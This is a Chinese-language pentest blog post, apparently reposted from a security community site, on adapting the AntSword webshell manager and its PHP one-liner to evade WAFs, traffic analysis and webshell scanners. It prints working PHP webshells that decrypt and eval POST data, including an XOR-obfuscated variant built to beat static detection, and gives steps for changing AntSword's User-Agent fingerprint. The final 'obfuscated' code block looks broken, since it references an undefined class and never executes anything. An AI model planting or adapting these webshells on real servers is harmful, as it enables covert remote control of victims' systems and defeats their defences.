本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/10530.html
0x00 前言:
为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。
但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。
0x01 蚁剑介绍及其改编
关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。
但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。
蚁剑默认流量
返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。
默认的base64编码器
但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。
去github上找到蚁剑的编码器和对应的解码器
github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php
这⾥下载默认的aes128的默认流量。
这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPE
NSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>
默认webshell讲解
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd
再D盾,河⻢和阿⾥云进⾏扫描:
河⻢没有查出来,可能是⽐较弱
阿⾥云直接报恶意
初步修改后的webshell:
这⾥先做代码修改,直接放出我修改之后的webshell代码。
<?php
@session_start();
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function decode($key,$data){
$data_new = '';
for($i=0;$i<=strlen($data);$i++){
$b=$data[$i]^$key;
$data_new = $data_new.urldecode($b);
}
define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_
new[11].strrev($data_new)[4].strrev($data_new)[0]);
define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_n
ew)[6].'($result)');
return $data_new;
}
function decrypto($key,$data){
$data = base64_decode($data);
$result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPE
NSSL_ZERO_PADDING);
decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
$ass=ass;
$ass(ev);
}
class run{
public $data;
public function __construct(){
$this->data = '#````````#'.$_POST[1]."#`#`#";
$this->data = $this->data."123456";
}
}
$key=@substr(str_pad(session_id(),16,'a'),0,16);
$run = new run();
decrypto($key,$run->data);
?>
这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。
所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)
混淆之后的webshell:
这⾥提供php在线加密的站 : https://enphp.djunny.com/
这⾥加密之后⽣成webshell。如下:
<?php
function decrypto($key, $data) {
$data = base64_decode($data);
$result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}
function decode($key, $data) {
$data_new = '';
for ($i = 0; $i < strlen($data); $i++) {
$b = $data[$i] ^ $key;
$data_new .= urldecode($b);
}
return $data_new;
}
session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>
经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。
已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。
从流量加密来分析的话,已经能绕过态势感知和全流量分析机。
蚁剑UA头的修改:
在burp的数据包中能清楚的看到蚁剑的特征
在目录/modules/request.js文件中修改UA头
/modules/update.js文件修改
0x02 总结
关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。